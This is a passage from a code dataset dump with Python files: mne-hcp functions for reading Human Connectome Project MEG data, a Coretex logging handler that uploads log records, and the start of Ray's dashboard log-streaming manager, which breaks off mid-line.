'A237',\n 'A77',\n 'A129',\n 'A131',\n 'A198',\n 'A197',\n 'A182',\n 'A46',\n 'A92',\n 'A41',\n 'A90',\n 'A7',\n 'A23',\n 'A83',\n 'A154',\n 'A34',\n 'A17',\n 'A18',\n 'A248',\n 'A149',\n 'A118',\n 'A208',\n 'A152',\n 'A140',\n 'A144',\n 'A209',\n 'A110',\n 'A111',\n 'A244',\n 'A185',\n 'A246',\n 'A162',\n 'A106',\n 'A187',\n 'A48',\n 'A221',\n 'A196',\n 'A133',\n 'A158',\n 'A44',\n 'A134',\n 'A216',\n 'UACurrent',\n 'ECG+',\n 'VEOG+',\n 'HEOG+',\n 'EMG_LF',\n 'EMG_LH',\n 'ECG-',\n 'VEOG-',\n 'HEOG-',\n 'EMG_RF',\n 'EMG_RH'\n]\n\n_label_mapping = [\n ('E1', 'ECG+'),\n ('E3', 'VEOG+'),\n ('E5', 'HEOG+'),\n ('E63', 'EMG_LF'),\n ('E31', 'EMG_LH'),\n ('E2', 'ECG-'),\n ('E4', 'VEOG-'),\n ('E6', 'HEOG-'),\n ('E64', 'EMG_RF'),\n ('E32', 'EMG_RH')\n]\n\n_time_lock_mapping = dict(\n TRESP='resp',\n TEMG='resp',\n TIM='stim',\n TEV='stim',\n TFLA='stim',\n BSENT='stim',\n BU='stim'\n)\n\n\ndef _parse_trans(string):\n \"\"\"helper to parse transforms\"\"\"\n return np.array(string.replace('\\n', '')\n .strip('[] ')\n .split(' '), dtype=float).reshape(4, 4)\n\n\ndef _parse_hcp_trans(fid, transforms, convert_to_meter):\n \"\"\"\"another helper\"\"\"\n contents = fid.read()\n for trans in contents.split(';'):\n if 'filename' in trans or trans == '\\n':\n continue\n key, trans = trans.split(' = ')\n key = key.lstrip('\\ntransform.')\n transforms[key] = _parse_trans(trans)\n if convert_to_meter:\n transforms[key][:3, 3] *= 1e-3 # mm to m\n if not transforms:\n raise RuntimeError('Could not parse the transforms.')\n\n\ndef _read_trans_hcp(fname, convert_to_meter):\n \"\"\"Read + parse transforms\n subject_MEG_anatomy_transform.txt\n \"\"\"\n transforms = dict()\n with open(fname) as fid:\n _parse_hcp_trans(fid, transforms, convert_to_meter)\n return transforms\n\n\ndef _read_landmarks_hcp(fname):\n \"\"\"XXX parse landmarks currently not used\"\"\"\n out = dict()\n with open(fname) as fid:\n for line in fid:\n kind, data = line.split(' = ')\n kind = kind.split('.')[1]\n if kind == 'coordsys':\n out['coord_frame'] = data.split(';')[0].replace(\"'\", \"\")\n else:\n data = data.split()\n for c in ('[', '];'):\n if c in data:\n data.remove(c)\n out[kind] = np.array(data, dtype=int) * 1e-3 # mm to m\n return out\n\n\ndef _get_head_model(head_model_fname):\n \"\"\"helper to parse head model from matfile\"\"\"\n head_mat = scio.loadmat(head_model_fname, squeeze_me=False)\n pnts = head_mat['headmodel']['bnd'][0][0][0][0][0]\n faces = head_mat['headmodel']['bnd'][0][0][0][0][1]\n faces -= 1 # correct for Matlab's 1-based index\n return pnts, faces\n\n\ndef _read_bti_info(raw_fid, config):\n \"\"\"helper to only access bti info from pdf file\"\"\"\n info, bti_info = _get_bti_info(\n pdf_fname=raw_fid, config_fname=config, head_shape_fname=None,\n rotation_x=0.0, translation=(0.0, 0.02, 0.11),\n ecg_ch='E31', eog_ch=('E63', 'E64'),\n convert=False, # no conversion to neuromag coordinates\n rename_channels=False, # keep native channel names\n sort_by_ch_name=False) # do not change native order\n return info\n\n\ndef _read_raw_bti(raw_fid, config_fid, convert, verbose=None):\n \"\"\"Convert and raw file from HCP input\"\"\"\n raw = read_raw_bti( # no convrt + no rename for HCP compatibility\n raw_fid, config_fid, convert=convert, head_shape_fname=None,\n sort_by_ch_name=False, rename_channels=False, preload=False,\n verbose=verbose)\n\n return raw\n\n\ndef _check_raw_config_runs(raws, configs):\n \"\"\"XXX this goes to tests later, currently not used \"\"\"\n for raw, config in zip(raws, configs):\n assert op.split(raw)[0] == op.split(config)[0]\n run_str = set([configs[0].split('/')[-3]])\n for config in configs[1:]:\n assert set(configs[0].split('/')) - set(config.split('/')) == run_str\n\n\ndef _check_infos_trans(infos):\n \"\"\"XXX this goes to tests later, currently not used\"\"\"\n chan_max_idx = np.argmax([c['nchan'] for c in infos])\n chan_template = infos[chan_max_idx]['ch_names']\n channels = [c['ch_names'] for c in infos]\n common_channels = set(chan_template).intersection(*channels)\n\n common_chs = [[c['chs'][c['ch_names'].index(ch)] for ch in common_channels]\n for c in infos]\n dev_ctf_trans = [i['dev_ctf_t']['trans'] for i in infos]\n cns = [[c['ch_name'] for c in cc] for cc in common_chs]\n for cn1, cn2 in itt.combinations(cns, 2):\n assert cn1 == cn2\n # BTI stores data in head coords, as a consequence the coordinates\n # change across run, we apply the ctf->ctf_head transform here\n # to check that all transforms are correct.\n cts = [np.array([linalg.inv(_loc_to_coil_trans(c['loc'])).dot(t)\n for c in cc])\n for t, cc in zip(dev_ctf_trans, common_chs)]\n for ct1, ct2 in itt.combinations(cts, 2):\n np.testing.assert_array_almost_equal(ct1, ct2, 12)\n\n\ndef read_raw(subject, data_type, run_index=0, hcp_path=op.curdir,\n verbose=None):\n \"\"\"Read HCP raw data\n\n Parameters\n ----------\n subject : str, file_map\n The subject\n data_type : str\n The kind of data to read. The following options are supported:\n 'rest'\n 'task_motor'\n 'task_story_math'\n 'task_working_memory'\n 'noise_empty_room'\n 'noise_subject'\n run_index : int\n The run index. For the first run, use 0, for the second, use 1.\n Also see HCP documentation for the number of runs for a given data\n type.\n hcp_path : str\n The HCP directory, defaults to op.curdir.\n verbose : bool, str, int, or None\n If not None, override default verbose level (see mne.verbose).\n\n Returns\n -------\n raw : instance of mne.io.Raw\n The MNE raw object.\n \"\"\"\n pdf, config = get_file_paths(\n subject=subject, data_type=data_type, output='raw',\n run_index=run_index, hcp_path=hcp_path)\n\n raw = _read_raw_bti(pdf, config, convert=False, verbose=verbose)\n return raw\n\n\ndef read_info(subject, data_type, run_index=0, hcp_path=op.curdir):\n \"\"\"Read info from unprocessed data\n\n Parameters\n ----------\n subject : str, file_map\n The subject\n data_type : str\n The kind of data to read. The following options are supported:\n 'rest'\n 'task_motor'\n 'task_story_math'\n 'task_working_memory'\n 'noise_empty_room'\n 'noise_subject'\n run_index : int\n The run index. For the first run, use 0, for the second, use 1.\n Also see HCP documentation for the number of runs for a given data\n type.\n hcp_path : str\n The HCP directory, defaults to op.curdir.\n\n Returns\n -------\n info : instance of mne.io.meas_info.Info\n The MNE channel info object.\n\n .. note::\n HCP MEG does not deliver only 3 of the 5 task packages from MRI HCP.\n \"\"\"\n raw, config = get_file_paths(\n subject=subject, data_type=data_type, output='raw',\n run_index=run_index, hcp_path=hcp_path)\n\n if not op.exists(raw):\n raw = None\n\n meg_info = _read_bti_info(raw, config)\n\n if raw is None:\n logger.info('Did not find Raw data. Guessing EMG, ECG and EOG '\n 'channels')\n rename_channels(meg_info, dict(_label_mapping))\n return meg_info\n\n\ndef read_epochs(subject, data_type, onset='stim', run_index=0,\n hcp_path=op.curdir, return_fixations_motor=False):\n \"\"\"Read HCP processed data\n\n Parameters\n ----------\n subject : str, file_map\n The subject\n data_type : str\n The kind of data to read. The following options are supported:\n 'rest'\n 'task_motor'\n 'task_story_math'\n 'task_working_memory'\n onset : {'stim', 'resp', 'sentence', 'block'}\n The event onset. The mapping is generous, everything that is not a\n response is a stimulus, in the sense of internal or external events.\n `sentence` and `block` are specific to task_story_math.\n run_index : int\n The run index. For the first run, use 0, for the second, use 1.\n Also see HCP documentation for the number of runs for a given data\n type.\n hcp_path : str\n The HCP directory, defaults to op.curdir.\n return_fixations_motor : bool\n Weather to return fixations or regular trials. For motor data only.\n Defaults to False.\n Returns\n -------\n epochs : instance of mne.Epochs\n The MNE epochs. Note, these are pseudo-epochs in the case of\n onset == 'rest'.\n \"\"\"\n info = read_info(subject=subject, data_type=data_type,\n run_index=run_index, hcp_path=hcp_path)\n\n epochs_mat_fname = get_file_paths(\n subject=subject, data_type=data_type, output='epochs',\n onset=onset,\n run_index=run_index, hcp_path=hcp_path)[0]\n\n if data_type != 'task_motor':\n return_fixations_motor = None\n epochs = _read_epochs(epochs_mat_fname=epochs_mat_fname, info=info,\n return_fixations_motor=return_fixations_motor)\n if data_type == 'task_motor':\n epochs.set_channel_types(\n {ch: 'emg' for ch in epochs.ch_names if 'EMG' in ch})\n return epochs\n\n\ndef _read_epochs(epochs_mat_fname, info, return_fixations_motor):\n \"\"\"read the epochs from matfile\"\"\"\n data = scio.loadmat(epochs_mat_fname,\n squeeze_me=True)['data']\n ch_names = [ch for ch in data['label'].tolist()]\n info['sfreq'] = data['fsample'].tolist()\n times = data['time'].tolist()[0]\n # deal with different event lengths\n if return_fixations_motor is not None:\n fixation_mask = data['trialinfo'].tolist()[:, 1] == 6\n if return_fixations_motor is False:\n fixation_mask = ~fixation_mask\n data = np.array(data['trial'].tolist()[fixation_mask].tolist())\n else:\n data = np.array(data['trial'].tolist().tolist())\n\n # warning: data are not chronologically ordered but\n # match the trial info\n events = np.zeros((len(data), 3), dtype=np.int)\n events[:, 0] = np.arange(len(data))\n events[:, 2] = 99 # all events\n # we leave it to the user to construct his events\n # as from the data['trialinfo'] arbitrary events can be constructed.\n # and it is task specific.\n this_info = _hcp_pick_info(info, ch_names)\n epochs = EpochsArray(data=data, info=this_info, events=events,\n tmin=times.min())\n # XXX hack for now due to issue with EpochsArray constructor\n # cf https://github.com/mne-tools/mne-hcp/issues/9\n epochs.times = times\n return epochs\n\n\ndef _hcp_pick_info(info, ch_names):\n \"\"\"helper to subset info\"\"\"\n return pick_info(\n info, [info['ch_names'].index(ch) for ch in ch_names],\n copy=True)\n\n\ndef read_trial_info(subject, data_type, run_index=0, hcp_path=op.curdir):\n \"\"\"Read information about trials\n\n Parameters\n ----------\n subject : str\n The HCP subject.\n data_type : str\n The kind of data to read. The following options are supported:\n 'rest'\n 'task_motor'\n 'task_story_math'\n 'task_working_memory'\n run_index : int\n The run index. For the first run, use 0, for the second, use 1.\n Also see HCP documentation for the number of runs for a given data\n type.\n hcp_path : str\n The HCP directory, defaults to op.curdir.\n Returns\n -------\n trial_info : dict\n The trial info including event labels, indices and times.\n \"\"\"\n\n trial_info_mat_fname = get_file_paths(\n subject=subject, data_type=data_type,\n output='trial_info', run_index=run_index,\n hcp_path=hcp_path)[0]\n\n trl_info = _read_trial_info(trial_info_mat_fname=trial_info_mat_fname)\n return trl_info\n\n\ndef _read_trial_info(trial_info_mat_fname):\n \"\"\"helper to read trial info\"\"\"\n # XXX FIXME index -1\n data = scio.loadmat(trial_info_mat_fname, squeeze_me=True)['trlInfo']\n out = dict()\n\n for idx, lock_name in enumerate(data['lockNames'].tolist()):\n key = _time_lock_mapping[lock_name]\n out[key] = dict(\n comments=data['trlColDescr'].tolist()[idx],\n codes=data['lockTrl'].tolist().tolist()[idx])\n\n return out\n\n\ndef _check_sorting_runs(candidates, id_char):\n \"\"\"helper to ensure correct run-parsing and mapping\"\"\"\n run_idx = [f.find(id_char) for f in candidates]\n for config, idx in zip(candidates, run_idx):\n assert config[idx - 1].isdigit()\n assert not config[idx - 2].isdigit()\n runs = [int(f[idx - 1]) for f, idx in zip(candidates, run_idx)]\n return runs, candidates\n\n\ndef _parse_annotations_segments(segment_strings):\n \"\"\"Read bad segments defintions from text file\"\"\"\n for char in '}]': # multi line array definitions\n segment_strings = segment_strings.replace(\n char + ';', 'splitme'\n )\n split = segment_strings.split('splitme')\n out = dict()\n for entry in split:\n if len(entry) == 1 or entry == '\\n':\n continue\n key, rest = entry.split(' = ')\n val = np.array(\n [k for k in [''.join([c for c in e if c.isdigit()])\n for e in rest.split()] if k.isdigit()], dtype=int)\n # reshape and map to Python index\n val = val.reshape(-1, 2) - 1\n out[key.split('.')[1]] = val\n return out\n\n\ndef read_annot(subject, data_type, run_index=0, hcp_path=op.curdir):\n \"\"\"Read annotations for bad data and ICA.\n\n Parameters\n ----------\n subject : str, file_map\n The subject\n data_type : str\n The kind of data to read. The following options are supported:\n 'rest'\n 'task_motor'\n 'task_story_math'\n 'task_working_memory'\n run_index : int\n The run index. For the first run, use 0, for the second, use 1.\n Also see HCP documentation for the number of runs for a given data\n type.\n hcp_path : str\n The HCP directory, defaults to op.curdir.\n\n Returns\n -------\n out : dict\n The annotations.\n \"\"\"\n bads_files = get_file_paths(\n subject=subject, data_type=data_type,\n output='bads', run_index=run_index,\n hcp_path=hcp_path)\n segments_fname = [k for k in bads_files if\n k.endswith('baddata_badsegments.txt')][0]\n bads_fname = [k for k in bads_files if\n k.endswith('baddata_badchannels.txt')][0]\n\n ica_files = get_file_paths(\n subject=subject, data_type=data_type,\n output='ica', run_index=run_index,\n hcp_path=hcp_path)\n ica_fname = [k for k in ica_files if k.endswith('icaclass_vs.txt')][0]\n\n out = dict()\n iter_fun = [\n ('channels', _parse_annotations_bad_channels, bads_fname),\n ('segments', _parse_annotations_segments, segments_fname),\n ('ica', _parse_annotations_ica, ica_fname)]\n\n for subtype, fun, fname in iter_fun:\n with open(fname, 'r') as fid:\n out[subtype] = fun(fid.read())\n\n return out\n\n\ndef read_ica(subject, data_type, run_index=0, hcp_path=op.curdir):\n \"\"\"Read precomputed independent components from subject\n\n Parameters\n ----------\n subject : str, file_map\n The subject\n data_type : str\n The kind of data to read. The following options are supported:\n 'rest'\n 'task_motor'\n 'task_story_math'\n 'task_working_memory'\n run_index : int\n The run index. For the first run, use 0, for the second, use 1.\n Also see HCP documentation for the number of runs for a given data\n type.\n hcp_path : str\n The HCP directory, defaults to op.curdir.\n\n Returns\n -------\n mat : numpy structured array\n The ICA mat struct.\n \"\"\"\n\n ica_files = get_file_paths(\n subject=subject, data_type=data_type,\n output='ica', run_index=run_index,\n hcp_path=hcp_path)\n ica_fname_mat = [k for k in ica_files if k.endswith('icaclass.mat')][0]\n\n mat = scio.loadmat(ica_fname_mat, squeeze_me=True)['comp_class']\n return mat\n\n\ndef _parse_annotations_bad_channels(bads_strings):\n \"\"\"Read bad channel definitions from text file\"\"\"\n for char in '}]':\n bads_strings = bads_strings.replace(\n char + ';', 'splitme'\n )\n split = bads_strings.split('splitme')\n out = dict()\n for entry in split:\n if len(entry) == 1 or entry == '\\n':\n continue\n key, rest = entry.split(' = ')\n val = [ch for ch in rest.split(\"'\") if ch.isalnum()]\n out[key.split('.')[1]] = val\n return out\n\n\ndef _parse_annotations_ica(ica_strings):\n \"\"\"Read bad channel definitions from text file\"\"\"\n # prepare splitting\n for char in '}]': # multi line array definitions\n ica_strings = ica_strings.replace(\n char + ';', 'splitme'\n )\n # scalar variables\n match_inds = list()\n for match in re.finditer(';', ica_strings):\n ii = match.start()\n if ica_strings[ii - 1].isalnum():\n match_inds.append(ii)\n\n ica_strings = list(ica_strings)\n for ii in match_inds:\n ica_strings[ii] = 'splitme'\n ica_strings = ''.join(ica_strings)\n\n split = ica_strings.split('splitme')\n out = dict()\n for entry in split:\n if len(entry) == 1 or entry == '\\n':\n continue\n key, rest = entry.split(' = ')\n if '[' in rest:\n sep = ' '\n else:\n sep = \"'\"\n val = [ch for ch in rest.split(sep) if ch.isalnum()]\n if all(v.isdigit() for v in val):\n val = [int(v) - 1 for v in val] # map to Python index\n out[key.split('.')[1]] = val\n return out\n\n\ndef read_evokeds(subject, data_type, onset='stim', sensor_mode='mag',\n hcp_path=op.curdir, kind='average'):\n \"\"\"Read HCP processed data\n\n Parameters\n ----------\n subject : str, file_map\n The subject\n data_type : str\n The kind of data to read. The following options are supported:\n 'rest'\n 'task_motor'\n 'task_story_math'\n 'task_working_memory'\n onset : {'stim', 'resp'}\n The event onset. The mapping is generous, everything that is not a\n response is a stimulus, in the sense of internal or external events.\n sensor_mode : {'mag', 'planar'}\n The sensor projection. Defaults to 'mag'. Only relevant for\n evoked output.\n hcp_path : str\n The HCP directory, defaults to op.curdir.\n kind : {'average', 'standard_error'}\n The averaging mode. Defaults to 'average'.\n Returns\n -------\n epochs : instance of mne.Epochs\n The MNE epochs. Note, these are pseudo-epochs in the case of\n onset == 'rest'.\n \"\"\"\n info = read_info(subject=subject, data_type=data_type,\n hcp_path=hcp_path, run_index=0)\n\n evoked_files = list()\n for fname in get_file_paths(\n subject=subject, data_type=data_type, onset=onset,\n output='evoked', sensor_mode=sensor_mode, hcp_path=hcp_path):\n evoked_files.extend(_read_evoked(fname, sensor_mode, info, kind))\n return evoked_files\n\n\ndef _read_evoked(fname, sensor_mode, info, kind):\n \"\"\"helper to read evokeds\"\"\"\n data = scio.loadmat(fname, squeeze_me=True)['data']\n ch_names = [ch for ch in data['label'].tolist()]\n\n times = data['time'].tolist()\n sfreq = 1. / np.diff(times)[0]\n\n info = _hcp_pick_info(info, ch_names)\n info['sfreq'] = sfreq\n\n out = list()\n comment = ('_'.join(fname.split('/')[-1].split('_')[2:])\n .replace('.mat', '')\n .replace('_eravg_', '_')\n .replace('[', '')\n .replace(']', ''))\n nave = np.unique(data['dof'].tolist())\n assert len(nave) == 1\n nave = nave[0]\n for key, this_kind in (('var', 'standard_error'), ('avg', 'average')):\n if this_kind != kind:\n continue\n evoked = EvokedArray(\n data=data[key].tolist(), info=info, tmin=min(times),\n kind=this_kind, comment=comment, nave=nave)\n out.append(evoked)\n return out\n", "repo_name": "mne-tools/mne-hcp", "sub_path": "hcp/io/read.py", "file_name": "read.py", "file_ext": "py", "file_size_in_byte": 23686, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 22, "dataset": "github-code", "pt": "86", "api": [{"api_name": "numpy.array", "line_number": 336, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 380, "usage_type": "call"}, {"api_name": "scipy.io.loadmat", "line_number": 386, "usage_type": "call"}, {"api_name": "scipy.io", "line_number": 386, "usage_type": "name"}, {"api_name": "mne.io.bti.bti._get_bti_info", "line_number": 395, "usage_type": "call"}, {"api_name": "mne.io.bti.bti.read_raw_bti", "line_number": 407, "usage_type": "call"}, {"api_name": "os.path.split", "line_number": 418, "usage_type": "call"}, {"api_name": "os.path", "line_number": 418, "usage_type": "name"}, {"api_name": "numpy.argmax", "line_number": 426, "usage_type": "call"}, {"api_name": "itertools.combinations", "line_number": 435, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 440, "usage_type": "call"}, {"api_name": "scipy.linalg.inv", "line_number": 440, "usage_type": "call"}, {"api_name": "scipy.linalg", "line_number": 440, "usage_type": "name"}, {"api_name": "mne.io._loc_to_coil_trans", "line_number": 440, "usage_type": "call"}, {"api_name": "itertools.combinations", "line_number": 443, "usage_type": "call"}, {"api_name": "numpy.testing.assert_array_almost_equal", "line_number": 444, "usage_type": "call"}, {"api_name": "numpy.testing", "line_number": 444, "usage_type": "attribute"}, {"api_name": "os.path.curdir", "line_number": 447, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 447, "usage_type": "name"}, {"api_name": "file_mapping.get_file_paths", "line_number": 477, "usage_type": "call"}, {"api_name": "os.path.curdir", "line_number": 485, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 485, "usage_type": "name"}, {"api_name": "file_mapping.get_file_paths", "line_number": 515, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 519, "usage_type": "call"}, {"api_name": "os.path", "line_number": 519, "usage_type": "name"}, {"api_name": "mne.utils.logger.info", "line_number": 525, "usage_type": "call"}, {"api_name": "mne.utils.logger", "line_number": 525, "usage_type": "name"}, {"api_name": "mne.rename_channels", "line_number": 527, "usage_type": "call"}, {"api_name": "os.path.curdir", "line_number": 532, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 532, "usage_type": "name"}, {"api_name": "file_mapping.get_file_paths", "line_number": 567, "usage_type": "call"}, {"api_name": "scipy.io.loadmat", "line_number": 584, "usage_type": "call"}, {"api_name": "scipy.io", "line_number": 584, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 594, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 596, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 600, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 600, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 601, "usage_type": "call"}, {"api_name": "mne.EpochsArray", "line_number": 607, "usage_type": "call"}, {"api_name": "mne.pick_info", "line_number": 617, "usage_type": "call"}, {"api_name": "os.path.curdir", "line_number": 622, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 622, "usage_type": "name"}, {"api_name": "file_mapping.get_file_paths", "line_number": 647, "usage_type": "call"}, {"api_name": "scipy.io.loadmat", "line_number": 659, "usage_type": "call"}, {"api_name": "scipy.io", "line_number": 659, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 693, "usage_type": "call"}, {"api_name": "os.path.curdir", "line_number": 702, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 702, "usage_type": "name"}, {"api_name": "file_mapping.get_file_paths", "line_number": 727, "usage_type": "call"}, {"api_name": "file_mapping.get_file_paths", "line_number": 736, "usage_type": "call"}, {"api_name": "os.path.curdir", "line_number": 755, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 755, "usage_type": "name"}, {"api_name": "file_mapping.get_file_paths", "line_number": 781, "usage_type": "call"}, {"api_name": "scipy.io.loadmat", "line_number": 787, "usage_type": "call"}, {"api_name": "scipy.io", "line_number": 787, "usage_type": "name"}, {"api_name": "re.finditer", "line_number": 817, "usage_type": "call"}, {"api_name": "os.path.curdir", "line_number": 845, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 845, "usage_type": "name"}, {"api_name": "file_mapping.get_file_paths", "line_number": 878, "usage_type": "call"}, {"api_name": "scipy.io.loadmat", "line_number": 887, "usage_type": "call"}, {"api_name": "scipy.io", "line_number": 887, "usage_type": "name"}, {"api_name": "numpy.diff", "line_number": 891, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 902, "usage_type": "call"}, {"api_name": "mne.EvokedArray", "line_number": 908, "usage_type": "call"}]} +{"seq_id": "10113178405", "text": "from __future__ import annotations\n\nfrom typing import Optional, Any\nfrom threading import Lock\nfrom logging import LogRecord, StreamHandler\n\nimport sys\n\nfrom .log import Log\nfrom .log_severity import LogSeverity\nfrom ._upload_worker import LoggerUploadWorker\n\n\n# Logs from library that is being used for making api requests is causing project to freeze because\n# logs inside requests library are going to be called while api request for log in coretexpylib is not finished\n# so request will never be done and it will enter infinite loop\nIGNORED_LOGGERS = [\n \"urllib3.connectionpool\",\n \"coretexnode\",\n \"werkzeug\"\n]\n\n\nclass LogHandler(StreamHandler):\n\n \"\"\"\n Custom StreamHandler which intercepts and stores all\n received logs from python std logging module until they\n are all uploaded to Coretex API\n \"\"\"\n\n __instanceLock = Lock()\n __instance: Optional[LogHandler] = None\n\n @classmethod\n def instance(cls) -> LogHandler:\n if cls.__instance is None:\n with cls.__instanceLock:\n if cls.__instance is None:\n cls.__instance = LogHandler(sys.stdout)\n\n return cls.__instance\n\n def __init__(self, stream: Any) -> None:\n super().__init__(stream)\n\n self.__uploadWorker = LoggerUploadWorker()\n self.__uploadWorker.start()\n\n @property\n def taskRunId(self) -> Optional[int]:\n return self.__uploadWorker._taskRunId\n\n @taskRunId.setter\n def taskRunId(self, value: Optional[int]) -> None:\n self.__uploadWorker._taskRunId = value\n\n def __restartUploadWorker(self) -> None:\n if self.__uploadWorker.is_alive():\n raise RuntimeError(\">> [Coretex] Upload worker is already running\")\n\n old = self.__uploadWorker\n\n self.__uploadWorker = LoggerUploadWorker()\n self.__uploadWorker._taskRunId = old._taskRunId\n self.__uploadWorker.start()\n\n def emit(self, record: LogRecord) -> None:\n super().emit(record)\n\n if self.taskRunId is None:\n return\n\n if record.name in IGNORED_LOGGERS:\n return\n\n if not self.__uploadWorker.is_alive():\n self.__restartUploadWorker()\n\n severity = LogSeverity.fromStd(record.levelno)\n log = Log.create(record.message, severity)\n\n self.__uploadWorker.add(log)\n\n def flushLogs(self) -> bool:\n \"\"\"\n Uploads all currently stored logs to Coretex backend\n\n Returns\n -------\n bool -> True if the upload is successful, False otherwise\n \"\"\"\n\n return self.__uploadWorker.uploadLogs()\n\n def reset(self) -> None:\n \"\"\"\n Resets the internal state of the LogHandler\n Clears all pending logs\n Resets the upload worker thread\n \"\"\"\n\n self.__uploadWorker.reset()\n", "repo_name": "coretex-ai/coretexpylib", "sub_path": "coretex/logging/logger.py", "file_name": "logger.py", "file_ext": "py", "file_size_in_byte": 2857, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "86", "api": [{"api_name": "logging.StreamHandler", "line_number": 24, "usage_type": "name"}, {"api_name": "threading.Lock", "line_number": 32, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 33, "usage_type": "name"}, {"api_name": "sys.stdout", "line_number": 40, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 44, "usage_type": "name"}, {"api_name": "_upload_worker.LoggerUploadWorker", "line_number": 47, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 51, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 55, "usage_type": "name"}, {"api_name": "_upload_worker.LoggerUploadWorker", "line_number": 64, "usage_type": "call"}, {"api_name": "logging.LogRecord", "line_number": 68, "usage_type": "name"}, {"api_name": "log_severity.LogSeverity.fromStd", "line_number": 80, "usage_type": "call"}, {"api_name": "log_severity.LogSeverity", "line_number": 80, "usage_type": "name"}, {"api_name": "log.Log.create", "line_number": 81, "usage_type": "call"}, {"api_name": "log.Log", "line_number": 81, "usage_type": "name"}]} +{"seq_id": "23559119084", "text": "import logging\nimport re\n\nfrom collections import defaultdict\nfrom typing import List, Optional, Dict, AsyncIterable, Tuple, Callable\n\nfrom ray.dashboard.modules.job.common import JOB_LOGS_PATH_TEMPLATE\nfrom ray.util.state.common import (\n GetLogOptions,\n protobuf_to_task_state_dict,\n DEFAULT_RPC_TIMEOUT,\n)\nfrom ray.util.state.exception import DataSourceUnavailable\nfrom ray.util.state.state_manager import StateDataSourceClient\nfrom ray._private.pydantic_compat import BaseModel\n\n# TODO(sang): Remove the usage of this class.\nfrom ray.dashboard.datacenter import DataSource\n\n\nlogger = logging.getLogger(__name__)\n\nWORKER_LOG_PATTERN = re.compile(\".*worker-([0-9a-f]+)-([0-9a-f]+)-(\\d+).(out|err)\")\n\n\nclass ResolvedStreamFileInfo(BaseModel):\n # The node id where the log file is located.\n node_id: str\n\n # The log file path name. Could be a relative path relative to ray's logging folder,\n # or an absolute path.\n filename: str\n\n # Start offset in the log file to stream from. None to indicate beginning of\n # the file, or determined by last tail lines.\n start_offset: Optional[int]\n\n # End offset in the log file to stream from. None to indicate the end of the file.\n end_offset: Optional[int]\n\n\nclass LogsManager:\n def __init__(self, data_source_client: StateDataSourceClient):\n self.client = data_source_client\n\n @property\n def data_source_client(self) -> StateDataSourceClient:\n return self.client\n\n def ip_to_node_id(self, node_ip: Optional[str]):\n \"\"\"Resolve the node id from a given node ip.\n\n Args:\n node_ip: The node ip.\n\n Returns:\n node_id if there's a node id that matches the given node ip and is alive.\n None otherwise.\n \"\"\"\n return self.client.ip_to_node_id(node_ip)\n\n async def list_logs(\n self, node_id: str, timeout: int, glob_filter: str = \"*\"\n ) -> Dict[str, List[str]]:\n \"\"\"Return a list of log files on a given node id filtered by the glob.\n\n Args:\n node_id: The node id where log files present.\n timeout: The timeout of the API.\n glob_filter: The glob filter to filter out log files.\n\n Returns:\n Dictionary of {component_name -> list of log files}\n\n Raises:\n DataSourceUnavailable: If a source is unresponsive.\n \"\"\"\n self._verify_node_registered(node_id)\n reply = await self.client.list_logs(node_id, glob_filter, timeout=timeout)\n return self._categorize_log_files(reply.log_files)\n\n async def stream_logs(\n self,\n options: GetLogOptions,\n ) -> AsyncIterable[bytes]:\n \"\"\"Generate a stream of logs in bytes.\n\n Args:\n options: The option for streaming logs.\n\n Return:\n Async generator of streamed logs in bytes.\n \"\"\"\n node_id = options.node_id or self.ip_to_node_id(options.node_ip)\n\n res = await self.resolve_filename(\n node_id=node_id,\n log_filename=options.filename,\n actor_id=options.actor_id,\n task_id=options.task_id,\n attempt_number=options.attempt_number,\n pid=options.pid,\n get_actor_fn=DataSource.actors.get,\n timeout=options.timeout,\n suffix=options.suffix,\n submission_id=options.submission_id,\n )\n\n keep_alive = options.media_type == \"stream\"\n stream = await self.client.stream_log(\n node_id=res.node_id,\n log_file_name=res.filename,\n keep_alive=keep_alive,\n lines=options.lines,\n interval=options.interval,\n # If we keepalive logs connection, we shouldn't have timeout\n # otherwise the stream will be terminated forcefully\n # after the deadline is expired.\n timeout=options.timeout if not keep_alive else None,\n start_offset=res.start_offset,\n end_offset=res.end_offset,\n )\n\n async for streamed_log in stream:\n yield streamed_log.data\n\n def _verify_node_registered(self, node_id: str):\n if node_id not in self.client.get_all_registered_log_agent_ids():\n raise DataSourceUnavailable(\n f\"Given node id {node_id} is not available. \"\n \"It's either the node is dead, or it is not registered. \"\n \"Use `ray list nodes` \"\n \"to see the node status. If the node is registered, \"\n \"it is highly likely \"\n \"a transient issue. Try again.\"\n )\n assert node_id is not None\n\n async def _resolve_job_filename(self, sub_job_id: str) -> Tuple[str, str]:\n \"\"\"Return the log file name and node id for a given job submission id.\n\n Args:\n sub_job_id: The job submission id.\n\n Returns:\n The log file name and node id.\n \"\"\"\n job_infos = await self.client.get_job_info(timeout=DEFAULT_RPC_TIMEOUT)\n target_job = None\n for job_info in job_infos:\n if job_info.submission_id == sub_job_id:\n target_job = job_info\n break\n if target_job is None:\n logger.info(f\"Submission job ID {sub_job_id} not found.\")\n return None, None\n\n node_id = job_info.driver_node_id\n if node_id is None:\n raise ValueError(\n f\"Job {sub_job_id} has no driver node id info. \"\n \"This is likely a bug. Please file an issue.\"\n )\n\n log_filename = 